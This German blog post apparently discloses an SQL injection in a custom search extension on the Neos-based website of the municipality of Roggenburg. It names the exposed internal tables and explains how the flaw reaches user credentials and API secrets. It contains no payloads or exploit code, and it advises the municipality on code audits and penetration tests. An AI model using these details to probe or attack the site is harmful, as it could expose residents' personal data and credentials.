Wer sich bereits mit DBAL auseinandergesetzt hat, wird sofort feststellen, dass durch die Verwendung von Prepared Statements SQL-Injection ausgeschlossen ist. Wenn also die Logik in Neos erweitert werden muss, um bestimmte Anforderungen zu erfüllen, wird PHP hinzugezogen. Meine Vermutung ist, dass eine entsprechende Anbindung an ein anderes System über Datenbankanfragen (ohne ORM) erforderlich war. Die nativen SQL-Abfragen werden im Controller an eine externe Datenbank durchgeführt, vermutlich, um auch Inhalte in die Suche einzubeziehen, die nicht als Node über ein Repository abrufbar sind.
Fatal wird es, wenn Anfrage-Parameter vom Client in einer Datenbankabfrage ohne Überprüfung in die Query übernommen und ausgeführt werden, was hier der Fall war. Bei einer Anfrage an eine externe Datenbank erfolgt üblicherweise eine Suche in einer oder mehreren Tabellen nach Inhalten, die dem Suchbegriff entsprechen. Durch eine SQL-Injection kann ein Angreifer jedoch die Anfrage manipulieren und dadurch Zugriff auf ALLE Tabellen sowie in bestimmten Fällen auch auf andere Datenbanken erhalten. Das ermöglicht den Zugriff auf äußerst sensible Informationen, einschließlich personenbezogener Daten, aber auch auf Zugangsdaten, Secrets, API Creds, Tokens oder andere Verbindungsdaten, die ebenfalls in der Datenbank gespeichert sind und für weiterführende Angriffe genutzt werden können.
Inhalte aus Tabellen wie Core_Conf_Exchange, Core_DeviceToken, APT_Appointments, ABS_AppConfiguration, Core_User, Core_UserAuthentications, IMS_ExternalUsers oder GDC_ExternalAPIConfig sind nicht vorgesehen, über eine Suchergebnisseite ausgegeben zu werden.
Meine Anfragen begrenzten sich bei der Ausforschung im übrigen nur auf die Ausgabe der Datenbank Struktur, nicht aber auf Datensätze aus Tabellen. Das wäre auch absolut unnötig für das Aufzeigen dieser Sicherheitslücke gewesen.
Meiner Meinung nach zählt das Content Management System (CMS), das von der Gemeinde Roggenburg eingesetzt wird, zu den besten und innovativsten, die mir bekannt sind. Aufgrund meiner Erfahrungen mit verschiedenen Systemen kann ich für mich behaupten, dass die Codebasis von Neos (bzw. Flow) im Vergleich zu gängigen Systemen wie Drupal oder TYPO3 besonders hochwertig und durchdacht wirkt. Hier wird nicht nur sorgfältig auf Standards geachtet, sondern auch kontinuierlich der neueste Stand der Technik verfolgt.
Das Content Repository, das auf Event Sourcing basiert und mit der Version 9 eingeführt wurde, halte ich für bahnbrechend. Die Sicherheitsbilanz von Neos lässt sich auch sehen: Im Laufe der Jahre wurden nur wenige Schwachstellen entdeckt, und selbst diese waren in der Regel nur mit hohen Privilegien ausnutzbar, sofern überhaupt exploitfähig. Daher ist es nicht verwunderlich, dass auch ich auf Neos setze – mein Blog z.B. basiert auf diesem System.
Long story short
Eine vulnerable Third-Party Komponente, welche Sicherheitslücken eröffnet, wird bei jedem (!) System Türen für Angreifer öffnen. Ich untersuche nun seit drei Jahren immer wieder kommunale Webapplikationen und muss unter dem Strich feststellen, dass so gut wie nie das zugrundeliegende System an sich vulnerabel ist, sondern entweder Fehlkonfigurationen oder Eigenentwicklungen in Form von Erweiterungen, Plugins bzw. Extensions durch die jeweiligen Dienstleister, welche Sicherheitslücken eröffneten.
Liebe Kommunalvertretung
Open Source-Produkte sollten meiner Meinung nach immer bevorzugt werden. Durch den öffentlich einsehbaren Quellcode ist in der Regel gewährleistet, dass, abhängig von der Popularität, eine vielzahl an Entwickler:innen den Code überprüfen, was eine höhere Sicherheit bietet als bei einem geschlossenen System, das in den Händen von ein paar Entwickler:innen liegt. Systeme wie Neos, TYPO3 oder Drupal sowie Eigenentwicklungen auf Basis von Frameworks wie Neos Flow, Laravel oder Symfony können durchaus sicher betrieben werden. Der entscheidende Punkt liegt jedoch immer beim verantwortlichen Dienstleister, der auf Basis dieser Systeme Webapplikationen umsetzt und mit eigener Programmierung "ergänzt". Eine Kommune kann die Qualität in der Regel nicht selbst kontrollieren - klar. Daher ist es ratsam, produktive Systeme, die sensible Daten verarbeiten, entweder einem Penetrationstest oder einem Code-Audit von einem unabhängigen Dienstleister unterziehen zu lassen.
Auch wenn Sie hohe Ansprüche und Erwartungen an ein System haben, ist eine entsprechende Beachtung in der "eigenen" Entwicklung unerlässlich. Weder ein Standard noch eine ISO-Zertifizierung wird Sie vor einem erfolgreichen Angriff schützen, wenn sich durch Nachlässigkeit oder Unwissenheit Sicherheitslücken ergeben.
Achja. Sollte Ihnen jemand Wordpress andrehen wollen, dann verbannen Sie das Angebot bitte direkt in den Papierkorb.